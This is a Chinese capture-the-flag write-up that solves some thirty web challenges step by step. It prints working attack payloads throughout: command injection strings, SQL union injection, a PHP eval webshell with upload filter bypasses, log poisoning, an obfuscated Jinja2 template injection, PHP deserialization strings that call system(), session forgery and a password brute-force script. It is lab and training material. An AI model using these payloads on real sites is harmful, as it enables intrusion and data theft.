RceMe
这题只限制了payload为五字符以内
先传
1 | ?com=ls / |
得出flag目录
读取flag文件的话 通过nl命令
- 使用
nl
命令:nl
是用于添加行号的命令,支持短路径通配符。 - 通配符匹配路径:
/*
匹配根目录下的所有文件,假设/flag
是其中唯一可读的文件。
1 | payload:?com=nl /* |
- 命令长度:
n
+l
+ 空格 +/
+*
→ 共5个字符。 - 执行效果:列出根目录下所有文件的内容(带行号),若
/flag
存在且可读,其内容将被输出
ezGame
很明显需要你得分高于2048(游戏高手可以选择自己慢慢玩QAQ)
查看源码 搜索score
1.
req.open(“GET”, “flag.php?score=” + obj.score, true); // 打开 GET 请求,URL 里包含 score 参数
可以看出最后分数是会经过GET请求的进行flag.php?score=? 的访问进行验证
所以我们可以直接构造
1 | url/flag.php?score=2048 |
来得到flag
2.
上面可以看到最后应该是 obj.score 的值赋给了 score 并通过 obj.score
的值来查询服务器
然后再通过 getFlag()方法执行这一段代码 弹出服务器返回的响应内容
所以我们也可以在控制台对 obj.score 赋值
执行obj.score=2048
再通过obj.getFlag()来返回响应内容
因为最后是通过obj.getFlag(); 调用getFlag方法
所以我们依次在控制台中输入
1 | obj.score=2048 |
得到flag
Ping
这题过滤了分号
可以通过
“换行符 %0a“ ” 逻辑运算符 ||“ ”管道符 |“进行绕过
payload:
1 | ?ip=%0als / |
然后再cat /flag
1 | ?ip=%0a cat /flag |
这三个绕过都是可以的
商师一日游
挨个访问慢慢找就行了
访问后查看源代码
第一个碎片sqctf{
继续访问/atc2cnzd.php
fish牌的曲奇饼 刻下stong字样
改cookie:fish=strong
第二个碎片:5444
继续访问 /atc3oklm.php
在devtool网络栏里找信息
第三个碎片:29c1e8
继续访问 /atc4zztg.php
访问robots.txt
第四个碎片:de4a2f8
继续访问/atc5uupl.php
利用换行符 %0a 绕过即可
1 | payload: ?hhh=php%0aphp |
第五个碎片:4933a953
继续访问 /atc6ertg.php
不让点 看源码
通过 disabled 限制了我们点击 把disabled删掉 或者改成 abled 都行
在查看器里直接修改 修改完 回车 就可以点了
第六个碎片:c5f4d
继续前进
POST传参命令执行的
1 | memory=system('ls'); |
1 | memory=system('cat Tourist_fragment7'); |
最后一块碎片: ed}
拼接起来就行了
小小查询系统
get传参id sql注入
先判断是字符型还是数字型注入 ?id=1 ?id=2-1 返回的结果不一样可知是字符型注入
判断闭合方式 闭合方式应该为单引号闭合 那不应该是 ‘1’’ 报错吗?
接下来通过 order by 来判断有几列 判断出有3列
1 | ?id=1' order by 3 --+ |
–+是注释到后面的内容 防止sql注入产生错误
下面使用union联合注入查询
先查询数据库的名字 ?id=-1’ union select 1,2,database() –+ (-1’是为了让前面查询失效 以此来执行后面的注入语句) 数据库名字 security
去查询表名信息
1 | ?id=-1' union select 1,table_name,3 from information_schema.tables --+ |
数据库information_schema->数据表tables->数据列table_name
查询到了 有一个flag数据表 但是还没有flag的数据库名
1 | ?id=-1' union select 1,2,group_concat(table_schema,',',table_name) from information_schema.tables where table_name='flag' --+ |
在页面的第三列中返回 table_schema
和 table_name
,用 group_concat
拼接
条件是 table_name = 'flag'
;
这条语句将会返回所有表名是 flag
的表的【数据库名和表名】
查询到了数据库名是 ctf,表名是
flag`。
1 | ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctf' --+ |
枚举数据库 ctf
中名为 flag
的表的所有字段(列)名称。
group_concat(column_name)
:将所有满足条件的列名拼接在一起,用逗号分隔。
现在知道:
- 数据库:
ctf
- 表名:
flag
- 字段名:
value
1 | ?id=-1' union select 1,2,group_concat(value) from ctf.flag --+ |
用来读取 ctf
数据库中的 flag
表的所有 value
数据,并将它们连接成一个字符串。 得到flag
baby include
日志文件包含漏洞
ban了 php data filter input
读取一下/var/log/nginx/access.log
1 | ?look=/var/log/nginx/access.log |
发现是user-agent头里的东西
在user-agent请求头里 写shell
1 | <?php system('ls');?> |
在日志文件目录里注入的话 访问两次(刷新一下) 出现你执行命令的那次日志记录
发现了flag.php
1 | <?php system('cat flag.php');?> |
查看源代码 得到flag
Input a number
intval函数绕过
这题直接利用小数点绕过就行了
payload:
1 | ?sqctf=114514.1 |
intval函数会自动把114514.1转换成整数(返回个位数)114514
Ez_calculate
调教ai生成脚本(源码直接扔过去看看就行)
最终脚本
1 | import requests, re |
也可以直接在控制台跑js代码(要在两秒时间结束前运行;好像有可能失败 失败的话就多试几次)
1 | (async function() { |
My Blog
点击Github 可以发现一个pdf文件 里面有username 与 password
看见用户密码了 这边就直接猜测有login.php就可以了 就不扫描了
登录成功 获得flag
唯一
没有提示的 只能猜测注入点
笔记 note
GET传参
1 | ?note=7 |
试试
发现回显了7
注入
1 | ?note={{7*7}} |
这里可以判断出来应该是jinja2模板注入
这里我直接用的我们之前写题存的payload
1 | ?note={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("get")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")()}} |
白月光
输入49 返回 49
jinja2模板注入
还是直接使用了上面那个payload 得到flag
Upload_Level1
只能传.jpg .png .gif
写木马
1 | <?php @eval($_POST['shell']);?> |
命名为jpg文件 上传
burpsuite抓包 改后缀为php就能绕过
也就是让 Content-Type为 image/jpeg 因为它检测的是这里 改上面后缀为php
发包
访问/upload/shell.php 执行命令
1 | shell=system('cat /f*'); |
Upload_Level2
只能传jpg和png
这题可以利用.htaccess文件绕过
.htaccess文件内容为
1 | Sethandler application/x-httpd-php |
用来将上传的所有文件 当成php文件来执行
上传.htaccess文件 抓包
改Content-type为 image/jpeg 这题也是检测的这里
然后发包 上传成功可以了
然后再上传含一句话木马的jpg文件
这个时候 shell.jpg文件 就已经被当成 shell.php文件执行了 也就是一句话木马注入成功
访问 /uploads/shell.jpg 跟上面一样进行命令执行即可
图片展示功能
这个用跟上面upload_level2一样的方法就行
这个不用bp抓包改Content-type类型了 直接上传.htaccess文件 再传图片马就行了
传成功访问返回路径upload/shell.jpg 执行命令
baby rce
extract($_GET)
,这段代码会将 $_GET
数组中的 param1
和 param2
转换为 PHP 变量
1 | if($token){ |

由于 call_user_func
允许执行任意函数,攻击者可以利用这个函数来实例化 TYctf
类并调用 getKey
方法,执行echo $flag 从而获取 flag。
也就是 我们只需要让$token=true 这里只需要param1的参数=param2的参数就行
然后再通过call_user_func函数调用TYctf::getKey
1 | GET: ?param1=1¶m2=1 |
eeaassyy
按两次F12打开devtool 看到flag
逃
反序列化
直接丢给ai 都能直接跑出payload
只要让pswd=escaping payload里没有出现flag和php就行了
1 | payload: O:4:"test":2:{s:4:"user";s:4:"xxxx";s:4:"pswd";s:8:"escaping";} |
嘿嘿嘿
这题也是只需要让 $content=GET_FLAG 即可
只需要调用一下 hhh类 使$content=GET_FLAG就行
1 |
|
payload:
1 | data=O:3:"hhh":2:{s:4:"file";N;s:7:"content";s:8:"GET_FLAG";} |
查看源码 得到flag
伪装
这是一个session伪造 sercert_key=’love’ 伪造cookie为:{“role”:{“is_admin”:1,”name”:”sjx”}}
用flask-unsign伪造session
建议用虚拟机linux环境跑 不知道为什么我windows上面跑不对
1 | flask-unsign --sign --secret 'love' --cookie '{"role":{"is_admin":1,"name":"sjx"}}' |
1 | session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_sZvw.MgyBRSWXmTYXNF_ttEsQ8bdjkgo |
然后传cookie里访问 /admin路由就可以了
Are you from SQNU?
打开源码可以发现get请求里有一个参数 tyctf
小T说 请使用post方法 我们post传参就行
1 | tyctf=1&hhh=abc |
修改请求头
1 | referer:https://sqnu-tysec.com |
修改
1 | user-agent:TYsecBrowser |
本地访问
添加请求头
1 | x-forwarded-for: 127.0.0.1 |
改cookie
1 | user=admin |
得到flag
Look for the homepag
打开devtool 查看网络栏目里可以发现一个challenge.php 访问
levle1
level1只需要 pass1 pass2 verify 不会空 pass2=welcome 即可绕过
因为 if($verify_code === $code &&$pass1 === $flag || $pass2 === “welcome”)
前两个与后面pass2 直接只逻辑或的关系 只要后面成立该if即可为真
后面levle2
value1不为空 value3的md5 要等与$a[‘fly’]
parse_str($value1,$a);parse_str
解析的是查询字符串,并将解析结果存入指定的数组 $a
。
会把$value1的值解析给$a这个数组
即会导致 fly=>$value1
所以我们只需要value1的值为value3的md5值即可 md5中又会将数组解析成空
最终paylaod
1 | get:pass1=1&verify=1&pass2=welcome&value3[]=1 |
我这里采用了数组绕过 让他们俩都为空
file_download
访问 /DownloadServlet
get or post filename 这个参数
因为这是一个文件下载的题 get传参是没办法进行下载的 post才可以下载
这里先通过get filename 去访问一下WEB-INF/web.xml
1 | ?filename=WEB-INF/web.xml |
在这里可以看到 /FlagManager这个路由 但是这个路由我们是没权限访问的
可以看到报405 get请求不允许 这里posy请求也是一样的
然后在上面我们还发现了这个com.ctf.flag.FlagManager去访问一下
WEB-INF/classes/com/ctf/flag/FlagManager.class文件
1 | ?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class |
可以看到显示class文件无法直接显示 所以我们使用post传参去下载
下载完去打开这个文件 发现好多乱码 这里也是卡了好久 最后发现这里面有 java 可能是一个需要反编译为java源码的class文件
JD-GUI:这是一个常用的图形化界面反编译工具,可以将 .class
文件反编译为 Java 源代码。
CFR:一个命令行工具,也可以将 .class
文件转换成源代码,支持新版本的 Java。
Procyon:另一个 Java 反编译器,支持较新的 Java 版本(Java 8 及更高版本)。
Jadx:主要用于 Android APK 反编译,但也可以反编译普通的 Java .class
文件。
这里我使用jadx进行反编译 可以发现就显示出了java源码
这里是
Java 加密类 FlagManager
,它的核心逻辑是:
- 用户输入一个字符串。
- 对字符串中的每个字符进行加密:
(字符ASCII值 + '&') ^ 48
。 - 将加密结果与预定义的
key
数组比较,若一致则验证成功。
目标是通过逆向加密算法,从 key
数组中还原出原始 flag。
丢给ai也能直接出
加密算法逆向推导
加密过程分为两步(对每个字符操作):
1 | int result = (c + '&') ^ 48; |
要逆向此过程,需反向操作:
- 逆向异或运算:异或(
^
)的逆运算仍是异或。例如,若A ^ B = C
,则C ^ B = A
。 - 逆向加法运算:加法(
+
)的逆运算是减法(-
)。
因此,解密公式为:
1 | 原始字符 = ((加密数值 ^ 48) - '&') |
分步解密过程
获取密钥数组:
1
int[] key = {110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
对每个数值解密:
- 异或 48:
key[i] ^ 48
- 减去 38(
'&'
的ASCII值):(key[i] ^ 48) - 38
示例(以第一个数值
110
为例):1
2110 ^ 48 = 78 // 二进制 1101110 ^ 00110000 = 01001110 (78)
78 - 38 = 40 // 40 对应的 ASCII 字符是 '('- 异或 48:
拼接所有字符:
对key
数组中的每个数值重复上述操作,得到原始字符并拼接成字符串。
完整解密代码(Java)
1 | public class DecryptFlag { |
输出结果
1 | flag{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f} |
即是正确的flag
自私的小s
我们查看cookie会发现有一个
entrance=%2Fend.php
去访问end.php就行 进入反序列化的界面
这里也就只要一个私有变量绕过 %是没有影响的 我们正常写poc就行
1 | <?php |
因为private 序列化之后 是 %00类名%00属性名 这里手动加上%00就行 s不用改 他包含着%00的字节大小了
1 | payload:?payload=O:14:"Genshin_impact":1:{s:21:"%00Genshin_impact%00value";s:15:"system('ls /');";} |
得到根目录的flag文件 再cat /flag就行了
1 | payload: ?payload=O:14:"Genshin_impact":1:{s:21:"%00Genshin_impact%00value";s:20:"system('cat%20/flag');";} |
pickle
py代码 运行将运行的payload提交就行
1 | import pickle |
无参之舞
因为按键基本都被禁了
所以我们抓包来看源码
这里的中文是
/* 儿时不懂这家传术法,要义怎是须斩断牵挂,不过初识这世间繁华,却要教我怎样告别他,七十五支残蜡,和七十六束火花,在指缝间留下,烫穿侥幸的年华,他们褪色的画,落成碑上的霜花,薪尽后将火传下,当赤团开出花,矗立在彼岸悬崖,花下奈落之底,身后灯火万家,当幽蝶飞向他,含笑将晚霞披挂,只盼望川奔流,稍回我牵挂,当死门风如鸦,归去何必惧怕,此去若化红梅,且向春山播撒,当命数已抵达,今日方觉我似他,来年若蝶归,替我吻向新芽,当离别开出花,裹着再见的谎话,总有少年攥紧,浸透生死的砂,万魂织就锦霞,轻抚千帆再归家,星槎载满月华,温暖了伤疤,当英雄开成花,绘出璃月繁华,他们笑而不语,却欣慰这回答,托举霄灯明霞,拂过青丝与白发,谁曾化春风,换人间春无涯。我才不会告诉你用户名是sqctf呢^_^! */
所以用户名就是sqctf 然后再进行一个弱口令爆破
py代码
1 | import requests |
密码是1q2w3e4r
登录成功 是一个无参rce
先通过
1 | ?exp=print_r(scandir('.')); |
遍历一下本目录中的文件
发现有很多可能的flag文件
我们试着读取就行了 读取用file_get_contents就可以
payload:
1 | ?exp=print_r(file_get_contents('f1ag.php')); |
命令执行成功 查看源码获得flag
千查万别
直接访问读取 /proc/1/environ 获得flag
ggoodd
post: id=abc
$_GET[‘json’] 传入的 JSON 数据中,
x键的值是
‘cba’
payload:
1 | post:id=abc |
开发人员的小失误
直接扫描就行了
有一个/backup.sql 文件
访问会下载该文件 打开得到flag